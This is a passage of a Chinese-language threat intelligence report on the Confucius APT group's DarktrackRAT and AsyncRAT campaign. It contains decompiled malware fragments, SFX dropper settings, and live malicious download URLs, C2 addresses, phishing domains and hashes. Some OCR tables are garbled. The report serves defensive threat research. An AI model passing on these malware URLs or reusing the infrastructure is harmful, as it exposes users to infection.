77 push esi 00400000 00406978 77 push esi 00400000 00406979 77 push esi 00400000 0040697A 77 push esi 00400000 0040697B 77 push esi 00400000 0040697C 77 push esi 00400000 0040697D 77 push esi 00400000 0040697E 77 push esi 00400000 0040697F 77 push esi 00400000 00406980 77 push esi 00400000 00406981 77 push esi 00400000 00406982 77 push esi 00400000 00406983 77 push esi 00400000 00406984 77 push esi 00400000 00406 ``` 经过分析注入的 PE 为 DarktrackRAT {35}------------------------------------------------ ``` 154 System::LStrCat(&v108, v10); 155 v11 = j.unknown_libname_69_0(&v108); 156 sub_407A64(v11, &v92, v10); 157 System::LStrCat(&v109, v108); 158 while ( 1 ) 159 { 160 sub_446EDC(v109, &v103); 161 System::LStrCat(&v109, v106); 162 System::LStrCat(&System::AnsiString, v105); 163 if ( !v103 ) 164 break; 165 switch ( v104 ) 166 { 167 case 0x1A:168 Classes::TMemoryStream::Clear(v95); 169 Classes::TMemoryStream::Clear(v94); 170 v78 = (int)&savedregs; 171 v77 = &loc_447646; 172 v76 = __readfsdword(0); 173 __writefsdword(0, (unsigned int)&v76); 174 v39 = Sysutils::StrToInt(System::AnsiString); 175 v85 = v39; 176 v96 = (long double)v39/100.0; 177 __writefsdword(0, v76); 178 v100 = (System::TObject *)Graphics::TBitmap::TBitmap((Graphics::TBitmap *)cls_Graphics_TBitmap); 179 v78 = HIWORD(v96); 180 *(_DWORD *)&v76 = *(_DWORD *)&v96; 181 v40 = sub_4415A0(0, (int)&v98, (int)&v97, *(long double *)&v76); 182 Graphics::TBitmap::SetHandle(v100, v40); 183 LOBYTE(v41) = 3; 184 Graphics::TBitmap::SetPixelFormat(v100, v41); 185 (*(void (__fastcall **)(System::TObject *, System::TObject *))(*(_DWORD *)v100 + 88))(v100, v95); 186 System::TObject::Free(v100); 187 v42 = (**(int (*)(void))v95)(); 188 if ( v43 ) 189 { 190 if ( v43 <= 0 ) 191 goto LABEL_44; 192 } 193 else if ( !v42 ) 194 { 195 goto LABEL_44; 196 } 197 LOBYTE(v43) = 1; 198 v93 = (System::TObject *)unknown_libname_39(&off_4152F4, v43); 199 v78 = 0; 200 v77 = 0; 201 (*(void (__fastcall **)(System::TObject *, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v95 + 24)) ``` 除此之外我们还找到了“魔罗砂”APT 组织所投放的 DDE 样本 | 文件名 | MD5 | 文件类型 | |---------|----------------------------------|---------| | AIT.doc | 1331b068477e2974894a899c855bfc4b | word 文档 | {36}------------------------------------------------ ![Seal of the United States Department of State](19fd552435a80d0ffda518b710d16908_img.jpg) The seal of the United States Department of State, featuring an eagle with a shield, holding an olive branch and arrows, with a constellation of stars above its head, surrounded by the text "DEPARTMENT OF STATE" and "UNITED STATES OF AMERICA". Seal of the United States Department of State #### **American Institute in Taiwan (AIT), Director Brent Christensen statement on 823 ceremony** 无法从中船贸易连接更新消息, 请允许该文件下载消息 [illegible] 从远程服务器（coremailxt5mainjsp.com/ps/sgrm.exe）下载 Ssphi Injector，最终加载 DarktrackRAT，coremailxt5mainjsp.com 与上述类似也用于钓鱼攻击。 | 子域名 | 伪装对象 | |------------------------------------------------------------|------------| | us02web.zoom.us.coremailxt5mainjsp.com | Zoom | | msword.window(update).microsoft.msn.coremailxt5mainjsp.com | Windows 更新 | ## 溯源与关联 ### 与“魔罗杪”APT 组织（Confucius）的关联奇安信威胁情报中心红雨滴团队根据基于内部大数据平台等, 对此次攻击活动的钓鱼邮件手法, 发件邮箱, 使用木马等方面关联分析发现, 此次攻击活动疑似出自我们内部跟踪的南亚 APT 组织“魔罗桫”之手。通过对 Polyloader 加载的 AsyncRat (6d264218807f705f6fabac5418a7ebaa) 的后门进 {37}------------------------------------------------ 行拓线时发现了与其编译时间相同的样本。 ``` signature/type:PE32 EXE image for i386 image checksum:0x00000000 (calc=0x00018FD6) machine:0x014C (i386) subsystem:2 (Windows GUI) minimum os:4.0 (Win95/NT4) linkver:6.0 timestamp:05/20/2020 02:54:17am (0x5EC49BD9) file alignment:0x200 section alignment:0x2000 preferred load base:0x00400000 code entrypoint:0x0041695E ->.text section/file_offset=0x14D5E characteristics:0x010E (EXECUTABLE_IMAGE|LINE_NUMS_STRIPPED|LOCAL_SYMS_STRIPPED|32BIT_MACHINE) DLL characteristics:0x8540 (DYNAMIC_BASE|NX_COMPAT|NO_SEH|TERMINAL_SERVER_AWARE) debug directory: 4 PE sections:.text,.sdata,.rsrc,.reloc import modules:mscorEE.dll delay-import modules: export functions: version resource:1.0.0.0/flags=0x0/lang=0x0 (语言中性)/codepage=0x4B0 (Unicode; UTF-16) CLR (.NET) info:CLR 2.5 header/flags=0x3 (ILONLY|32BITREQUIRED)/clr_version v4.0.30319 (Framework 4.0) CLR (.NET) metadata:0x40C2D0 ->.text section/file_offset=0xA6D0 data directory table has 5 entries (room for 16): DIRECTORY RVA SIZE MEM-PTR F-OFFSET POINTS-TO ----- IMPORT 016910 00004B 00416910 00014D10.text RESOURCE 01A000 000394 0041A000 00015200.rsrc BASE_RELOC 01C000 00000C 0041C000 00015600.reloc IAT 002000 000008 00402000 00000400.text CLR_RUNTIME 002008 000048 00402008 00000408.text section memory map/4 entries: SECTION MEMORY-RANGE SIZE DSIZE | FILE-RANGE SIZE | ATTR ----- HEADERS 00400000-00402000 00002000 00000218 | 00000000-00000400 00000400 |.text 00402000-00418000 00016000 00014964 | 00000400-00014E00 00014A00 | C|E|R.sdata 00418000-0041A000 00002000 0000020E | 00014E00-00015200 00000400 | I|R|W.rsrc 0041A000-0041C000 00002000 00000394 | 00015200-00015600 00000400 | I|R.reloc 0041C000-0041E000 00002000 0000000C | 00015600-00015800 00000200 | I|R ``` 关联的样本如下： ![Screenshot of a file analysis tool interface showing three files:'ConsoleApp.exe', 'ConsoleApp.exe', and 'ConsoleApp.exe'.Each file entry includes a hash, file type, analysis tags, detection count, size, first seen date, last seen date, and submitter information.](0baabed74e5fce9eaf1cac18837415d8_img.jpg) Screenshot of a file analysis tool interface showing three files:'ConsoleApp.exe', 'ConsoleApp.exe', and 'ConsoleApp.exe'.Each file entry includes a hash, file type, analysis tags, detection count, size, first seen date, last seen date, and submitter information. 其中样本 (75c55e8a9b00a1d724ef4d451da5806f) 的 C2 为 188.215.229.20:8080。与 188.215.229.20 有关联的多个样本为“魔罗抄”APT 组织 (Confucius APT) 使用过的特马 {38}------------------------------------------------ ### URLs ① | Scanned | Detections | URL | |------------|------------|-------------------------------| | 2020-02-04 | 0/71 | http://188.215.229.20/2.php | | 2020-05-20 | 0/80 | http://188.215.229.20/l | | 2020-02-20 | 0/71 | http://188.215.229.20:53/?s=m | ### Communicating Files ① | Scanned | Detections | Type | Name | |------------|------------|-----------|--------------------------------------------------------| | 2020-08-19 | 29/70 | Win32 EXE | myclient.exe | | 2020-07-26 | 48/68 | Win32 EXE | Notepad.NET.exe | | 2020-05-21 | 39/73 | Win32 EXE | 010Editor | | 2020-05-30 | 57/73 | Win32 EXE | FINAL.exe | | 2020-07-17 | 52/68 | Win32 EXE | audiopro.exe | | 2020-02-12 | 55/73 | Win32 EXE |/var/www/clean-mx/virusesevidence/output.147257188.txt | | 2020-07-20 | 48/73 | Win32 EXE | puzzCode.exe | 关联相关样本信息如下： | 文件名 | MD5 | ITW | |-----------------|----------------------------------|------------------------------------------------------------------| | FINAL.exe | e7b6ec85ece1c431f07b4a47e264190d | http://92.118.190.16/FINAL.exe | | audiopro.exe | c3d422c2065ec3d9063929a1d4955416 | http://anf.gov.pk/js/plugins/audiopro.exe | | UA-COVID-19.exe | 2d2fe787b2728332341166938a25fa26 | http://anf.gov.pk/pmtesting/export/test/covid-19/UA-COVID-19.exe | 其中部分样本被挂在巴基斯坦反毒品部队官网上。 Image:Screenshot of the Anti Narcotics Force (ANF) website.The header features the ANF logo and the text 'ANTI NARCOTICS FORCE' and 'DRUG FREE SOCIETY'.Below the header is a navigation bar with links:Home, Media Cell, Complaints/Feedback, Federal Ombudsman Complaint, Pensioner's Cell, Hospitals, Tenders, Former DGs, Where we are, and Jobs.The main content area shows a map of Pakistan with various flags and a photo of four men in uniform.A sidebar on the left lists 'About ANF' and 'Latest News'.A sidebar on the right shows 'DG's Message' with a photo of Major General Muhammad Arif Malik, R(P), and a link to 'ANF Shuhada's'. 上述样本与 2019 年时“魔罗桫”APT 组织（Confucius APT）使用的泄密木马同源： {39}------------------------------------------------ [illegible] 其中还有未曾披露过的 SFX 类型的样本 | 文件名 | MD5 | ITW | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------|-----------------------------------------------------------------------------------------------|---------------------|------------------|-------------------------------------------------|----|------|-------------------------------------------------|-------------|--|--|-----|--|--|-----------------|--------|------|------|------------------|---------------------------------------------|------------|--------|----------|------|------------------|----------|-------------|------|------|----------------|------------------|-------------|-------------|------|------|---------------------|------------------|--| | plan.exe | d373bf68ceb8e395719a1ad6befba66d | http://wahindustries.com.pk/js/plan.exe | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |

名称	压缩前	压缩后	类型	修改日期	.The comment below contains SFX script commands
[...](上级目录)			文件夹
netmonitor.link	1.2 KB	1 KB	快捷方式	2020-01-20 17:23	Path=AppData& Setup=AppData&\tempdir.vbs
netmon.exe	1.0 MB	892.2 KB	应用程序	2020-01-20 17:22	Silent=1
tempdir.bat	1 KB	1 KB	Windows 批处理...	2020-01-20 17:50	Overwrite=1
tempdir.vbs	1 KB	1 KB	VBScript Script...	2020-01-17 17:00

| | | 名称 | 压缩前 | 压缩后 | 类型 | 修改日期 |.The comment below contains SFX script commands | [...](上级目录) | | | 文件夹 | | | netmonitor.link | 1.2 KB | 1 KB | 快捷方式 | 2020-01-20 17:23 | Path=AppData&
Setup=AppData&\tempdir.vbs | netmon.exe | 1.0 MB | 892.2 KB | 应用程序 | 2020-01-20 17:22 | Silent=1 | tempdir.bat | 1 KB | 1 KB | Windows 批处理...| 2020-01-20 17:50 | Overwrite=1 | tempdir.vbs | 1 KB | 1 KB | VBScript Script...| 2020-01-17 17:00 | | | 名称 | 压缩前 | 压缩后 | 类型 | 修改日期 |.The comment below contains SFX script commands | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | [...](上级目录) | | | 文件夹 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | netmonitor.link | 1.2 KB | 1 KB | 快捷方式 | 2020-01-20 17:23 | Path=AppData&
Setup=AppData&\tempdir.vbs | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | netmon.exe | 1.0 MB | 892.2 KB | 应用程序 | 2020-01-20 17:22 | Silent=1 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | tempdir.bat | 1 KB | 1 KB | Windows 批处理... | 2020-01-20 17:50 | Overwrite=1 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | tempdir.vbs | 1 KB | 1 KB | VBScript Script...| 2020-01-17 17:00 | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | 样本被挂在巴基斯坦 WIL 兵工厂网站上 ### BUSINESS INFO Created on November 7, 1958 #### Mission icon Mission To excel and triumph in supplying customer focused products/services and to be recognized as a most respectable Brand in Pakistan as well as in International Market which works on high Quality and Standards.We are ensuring this goal through highly professional staff, sustainable working conditions and exceeding customer expectations. ### CONTACT INFO Call +51 905 523 206 ![Facebook icon](42c374edbfc1163de9dfb6a29a515bf4_img.jpg) [m.me/wahindustries](https://m.me/wahindustries) ![Instagram icon](f5e46b19f754b95eb3eec750550994ab_img.jpg) [@wahindustries](https://www.instagram.com/wahindustries) ![Twitter icon](6e549be7a6380ddd56e4d801093b98cc_img.jpg) [@wahindustries](https://twitter.com/wahindustries) ✉ [sales@wahindustries.com](mailto:sales@wahindustries.com) ![globe icon](4afc7151b45a28d7231c88a825446def_img.jpg) ### MORE INFO ### STORY ![Logo of the World Laboratory for the Prevention of Earthquakes (WLEP).The logo features a stylized gear with three segments:red (top), blue (bottom-left), and cyan (bottom-right).The letters 'W', 'L', and 'E' are placed within their respective segments, and the letters 'P' and 'P' are at the top and bottom of the gear respectively.](d546113354a15db82c07cd3b592db353_img.jpg) Logo of the World Laboratory for the Prevention of Earthquakes (WLEP).The logo features a stylized gear with three segments:red (top), blue (bottom-left), and cyan (bottom-right).The letters 'W', 'L', and 'E' are placed within their respective segments, and the letters 'P' and 'P' are at the top and bottom of the gear respectively. #### Our Story Wah Industries Limited (WIL) established in November 07, 1958 with a view to utilize surplus production capacity as well as for the marketing and sales of commercial products which are of highest quality and international standards. WIL is manufacturing 12 Bore Shaheen Cartridges, used for hunting and shooting sports, manufactured in Shot Gun A... [See More](#) 执行链如下：vbs->bat->lnk->dropper exe, Netvmon.exe 为.net 编写的 injector, 混淆代码中也出现了中文： {40}------------------------------------------------ ``` 23 try 24 { 25 IL_00:26 Class4 smethod_120(); 27 ProjectData.ClearProjectError(); 28 num = 1; 29 IL_0C:30 int num2 = 2; 31 ResourceManager resourceManager = new ResourceManager("认百六南见港", Assembly.GetExecutingAssembly()); 32 IL_1E:33 num2 = 3; 34 IL_20:35 num2 = 9; 36 string str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\"; 37 IL_36:38 num2 = 10; 39 str += "\\"; 40 IL_46:41 num2 = 11; 42 IL_49: ``` ### 主要功能为注入上述泄密木马 [illegible] 以上样本的 C2:，可以基本断定 188.215.229.20 为“魔罗桫”APT 组织的基础设施。关联的样本中有一个名为 Notepad.NET.exe 的样本引起了我们的注意： | 文件名 | MD5 | ITW | |-----------------|----------------------------------|------------------------------------------------| | Notepad.NET.exe | 842c3c8b62e4ed67ec529ab08ee87c4a | http://185.214.10.220/1/KB-Auto-win-update.exe | 该样本为 DeMnu 混淆器变种 {41}------------------------------------------------ ``` 527 private void cPQqJZio(Object\u0020, EventArgs\u0020) 528 { 529 [byte] array = this.WXomdewOvYhUdOeHm("Qfcd5d4"); 530 this.QJqfSR3N = FindDialog.Pfz4HtWkxgglTfPPro(ref array); 531 try 532 { 533 fraMain.lfaMwAdXLl19IX7P6(fraMain.vd89Fux1YhIoLdC's76B().Load(this.QJqfSR3N), this.WAbglFIAiV).GetMethod(this.WAbglFIAiV).Invoke(n 534 } 535 catch (Exception ex) 536 { 537 fraMain.cBbCJzRd0zTuoADuSw(fraMain.cPqMoxXsTlGh0Duph(ex), MsgBoxStyle.OkOnly, null); 538 fraMain.vdb8ix4Yt35Mwiovc(); 539 } 540 } 541 542//Token:0x060000FE RID:245 RVA:0x00006708 File Offset:0x00004B08 543 [MethodImpL (MethodImpOptions.NoInlining)] 544 private void X5SgadiBq(int\u0020) 545 { 546 int num = 6; 547 if (!true) 548 { 549 goto IL_10; 550 } 551 int num2; 552 for (;;) 553 { 554 IL_004; 555 switch (num) 556 { 557 case 0: ``` 内存加载 Polyloader，最终释放的 AsyncRat 如下 ``` 22 Settings.Install = Settings.aes256.Decrypt(Settings.Install); 23 Settings.MT = Settings.aes256.Decrypt(Settings.MT); 24 Settings.Partebin = Settings.aes256.Decrypt(Settings.Partebin); 25 Settings.Anti = Settings.aes256.Decrypt(Settings.Anti); 26 Settings.IDOS = Settings.aes256.Decrypt(Settings.IDOS); 27 Settings.Group = Settings.aes256.Decrypt(Settings.Group); 28 Settings.Huid = Helper.IWID(); 29 Settings.ServerSignature = Settings.aes256.Decrypt(Settings.ServerSignature); 30 Settings.ServerCertificate = new X509Certificate2(Convert.FromBase64String(Settings.aes256.Decrypt(Settings.Certificate))); ``` | 名称 | 值 | 类型 | |-----------------------------------------------------------|---------------------------------------------------------------------|-----------------------------------------| | result | false | bool | | Settings.Hosts | "188.215.229.20" | string | | Settings.Ports | "22,8080" | string | | Settings.ServerCertificate | [[Subject] CN=AsyncRAT Server [Issuer] CN=AsyncRAT Serv...
false | System.Security.Cryptography...
bool | | Archived | | | | CertContext (System.Security.Cryptography.X509Certific...| [System.Security.Cryptography.X509Certificates.SafeCertContextH... | System.Security.Cryptography... | | CertContext | [System.Security.Cryptography.SafeCertContextHandle] | System.Security.Cryptography... | | Extensions | [System.Security.Cryptography.X509Certificates.X509ExtensionColl...| System.Security.Cryptography... | | FriendlyName | -- | System.Security.Cryptography... | | Handle | 0x00328B20 | System.IntPtr | | HasPrivateKey | false | bool | | Issuer | "CN=AsyncRAT Server" | string | | IssuerName | [System.Security.Cryptography.X509Certificates.X500Distinguishe... | System.Security.Cryptography... | | NotAfter (System.Security.Cryptography.X509Certificat... | [9999/12/31 23:59:59] | System.DateTime | | NotAfter | [9999/12/31 23:59:59] | System.DateTime | | NotBefore (System.Security.Cryptography.X509Certificat...| [2020/5/27 21:42:57] | System.DateTime | | NotBefore | [2020/5/27 21:42:57] | System.DateTime | | PrivateKey | null | System.Security.Cryptography... | | PublicKey | [System.Security.Cryptography.X509Certificates.PublicKey] | System.Security.Cryptography... | | RawData (System.Security.Cryptography.X509Certificate... | [byte[0x000004F6]] | byte[] | | RawData | [byte[0x000004F6]] | byte[] | | SerialNumber (System.Security.Cryptography.X509Certif... | "0087C6B7197558146FB298AA80BDEC99" | string | | SerialNumber | "0087C6B7197558146FB298AA80BDEC99" | string | | SignatureAlgorithm | [System.Security.Cryptography.Old] | System.Security.Cryptography... | | Subject | "CN=AsyncRAT Server" | string | | SubjectName | [System.Security.Cryptography.X500Distinguishe... | System.Security.Cryptography... | | Thumbprint | "153A7EA3A7ACB476FD66D214E61E51BB35B4A24B" | string | | Version | 0x00000003 | int | | m_CertContextCloned | false | bool | | m_extensions | [System.Security.Crvtoography.X509Certificates.X509ExtensionColl...| System.Security.Crvtoography... | 相关 C2 信息:188.215.229.20:(22)8080 服务器证书信息如下: Subject:CN=AsyncRAT Server Thumbprint:153A7EA3A7ACB476FD66D214E61E51BB35B4A24B {42}------------------------------------------------ SerialNumber:00B7C6B7197558146FB298AA80BDEC99 除此之外我们对 DeMnu 混淆器 ITW 的 IP（185.214.10.220）进行关联时发现该 IP 下的所有样本均为“魔罗杪”APT 组织（Confucius APT）的窃密木马： | 文件名 | MD5 | C2 | |-------------------|----------------------------------|-----------------------------| | 010Editor | 33a2941742ed2f4b6b412d239711d6a3 | http://185.214.10.220/2.php | | rcs.exe | 8a4e265cfbad8d136222dda60505b61d | http://185.214.10.220/p.php | | | 94a87ee68fe8f998df3ffc84bb459a1d | http://185.214.10.220/2.php | | vs_community.exe | dee2bc2f5424874a5fc7cf51c4cd2b55 | 185.214.10.220/2.php | | vs_community.exe | 2d2fe787b2728332341166938a25fa26 | http://185.214.10.220/2.php | | nvbackend.exe | d2d7723310c67b3df3d25529ca8b5a3b | http://185.214.10.220/p.php | | Policy_update.exe | cab163e740e10b9572a6424e69cce1d5 | http://185.214.10.220/p.php | | | ef34e809b4a0e33eb1222409d13068ab | http://185.214.10.220/p.php | ## 总结目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信 NGSOC、奇安信态势感知等，都已经支持对此类攻击的精确检测。(Ti.qianxin.com)。 ![](140913b7b42defa2c3887852c721a34f_img.jpg) {43}------------------------------------------------ 005e8de2974db8722073fa54e8b8d435 e91e10978ace80a789363288ffee178a 878ad290280bb9e880c1366e8c386e1a c9d7b9e1d2eadb8657ec84ff2d20b98c 59bc5eb1d3f1affd1496dfbb61f1537e 7b2b6e47e33dddce7406fc989592ab50 72503d7ef52495efa109941274b8769f 47568de42706aa3da39a03d1d0feddca b96fe909c2d2f458abf71665ce1bb1ef 4cc8577c844e2492840aed08876eb1c4 6d7d69e897351f6af2399bfdcf00983a 75c55e8a9b00a1d724ef4d451da5806f e7b6ec85ece1c431f07b4a47e264190d c3d422c2065ec3d9063929a1d4955416 2d2fe787b2728332341166938a25fa26 d373bf68ceb8e395719a1ad6befba66d 842c3c8b62e4ed67ec529ab08ee87c4a 33a2941742ed2f4b6b412d239711d6a3 8a4e265cfbad8d136222dda60505b61d 94a87ee68fe8f998df3ffc84bb459a1d dee2bc2f5424874a5fc7cf51c4cd2b55 2d2fe787b2728332341166938a25fa26 d2d7723310c67b3df3d25529ca8b5a3b cab163e740e10b9572a6424e69cce1d5 ef34e809b4a0e33eb1222409d13068ab authowawebsmailgo.com he-moondelight.96.lt hhwebsmail.com xt5coremail.com jspsession.com {44}------------------------------------------------ [sessionexpire.com](http://sessionexpire.com) [coremailxt5mainjsp.com](http://coremailxt5mainjsp.com) [msword.windowsupdate.microsoft.msn.coremailxt5mainjsp.com](http://msword.windowsupdate.microsoft.msn.coremailxt5mainjsp.com) [us02web.zoom.us.coremailxt5mainjsp.com](http://us02web.zoom.us.coremailxt5mainjsp.com) [http://185.214.10.220/1/officers\\_list.apk](http://185.214.10.220/1/officers_list.apk) {45}------------------------------------------------ ## 附录1 奇安信威胁情报中心奇安信威胁情报中心是北京奇安信科技有限公司（奇安信集团）旗下的威胁情报整合专业机构。该中心以业界领先的安全大数据资源为基础，基于奇安信长期积累的核心安全技术，依托亚太地区顶级的安全人才团队，通过强大的大数据能力，实现全网威胁情报的即时、全面、深入的整合与分析，为企业和机构提供安全管理与防护的网络威胁预警与情报。奇安信威胁情报中心对外服务平台网址为。服务平台以海量多维度网络空间安全数据为基础，为安全分析人员及各类企业用户提供基础数据的查询，攻击线索拓展，事件背景研判，攻击组织解析，研究报告下载等多种维度的威胁情报数据与威胁情报服务。 ![Screenshot of the Qianxin Threat Intelligence Center (QIA) web interface.The interface features a dark blue background with a large, stylized 'ALPHA' logo in the center.Below the logo, there is a search bar and a list of services including '威胁情报平台', '威胁分析平台', '威胁预警平台', and '威胁响应平台'.The top navigation bar includes links for '首页', '产品与服务', '关于我们', and '联系我们'.](d778f25f203fa5a385e9f6458f655763_img.jpg) Screenshot of the Qianxin Threat Intelligence Center (QIA) web interface.The interface features a dark blue background with a large, stylized 'ALPHA' logo in the center.Below the logo, there is a search bar and a list of services including '威胁情报平台', '威胁分析平台', '威胁预警平台', and '威胁响应平台'.The top navigation bar includes links for '首页', '产品与服务', '关于我们', and '联系我们'. 微信公众号：奇安信威胁情报中心： ![QR code for the Qianxin Threat Intelligence Center WeChat account, featuring a central icon with a shield and a key.](967e08f00a4fffdc167c53c3bad53c84_img.jpg) QR code for the Qianxin Threat Intelligence Center WeChat account, featuring a central icon with a shield and a key. 奇安信病毒响应中心： ![QR code for the Qianxin Virus Response Center WeChat account, featuring a central icon with a shield and a lightning bolt.](32365f206cb2fbcd494bad4092c26032_img.jpg) QR code for the Qianxin Virus Response Center WeChat account, featuring a central icon with a shield and a lightning bolt. {46}------------------------------------------------ ## 附录2 红雨滴团队 (RedDrip Team) 奇安信旗下的高级威胁研究团队红雨滴（天眼实验室）,成立于 2015 年, 持续运营奇安信威胁情报中心至今, 专注于 APT 攻击类高级威胁的研究, 是国内首个发布并命名“海莲花” (APT-C-00, OceanLotus) APT 攻击团伙的安全研究团队, 也是当前奇安信威胁情报中心的主力威胁分析技术支持团队。目前, 红雨滴团队拥有数十人的专业分析师和相应的数据运营和平台开发人员, 覆盖威胁情报运营的各个环节:公开情报收集、自有数据处理、恶意代码分析、网络流量解析、线索发现挖掘拓展、追踪溯源, 实现安全事件分析的全流程运营。团队对外输出机读威胁情报数据支持奇安信自有和第三方的检测类安全产品, 实现高效的威胁发现、损失评估及处置建议提供, 同时也为公众和监管方输出事件和团伙层面的全面高级威胁分析报告。依托全球领先的安全大数据能力、多维度多来源的安全数据和专业分析师的丰富经验, 红雨滴团队自 2015 年持续发现多个包括海莲花在内的 APT 团伙在中国境内的长期活动, 并发布国内首个团伙层面的 APT 事件揭露报告, 开创了国内 APT 攻击类高级威胁体系化揭露的先河, 已经成为国家级网络攻防的焦点。团队 LOGO: ![RedDrip Team logo, featuring a stylized blue and grey circular design with arrows pointing outwards.](a220b743cd3172b2520b11b3bbbd58de_img.jpg) The logo consists of a central blue circle surrounded by four grey circles, all connected by thin lines.Two blue arrows point outwards from the left and right sides of the central circle. RedDrip Team logo, featuring a stylized blue and grey circular design with arrows pointing outwards. 关注二维码: ![QR code linking to the RedDrip Team's profile or content.](b09a1e66fcb4854c266c5189a3a5c561_img.jpg) A large QR code with a small logo in the center.The logo is a white square containing a blue circle with four grey circles and two blue arrows pointing outwards. QR code linking to the RedDrip Team's profile or content. [comment]:<> (===END_PAGE 1===) ----------------

APT_Report: Confucius

Reports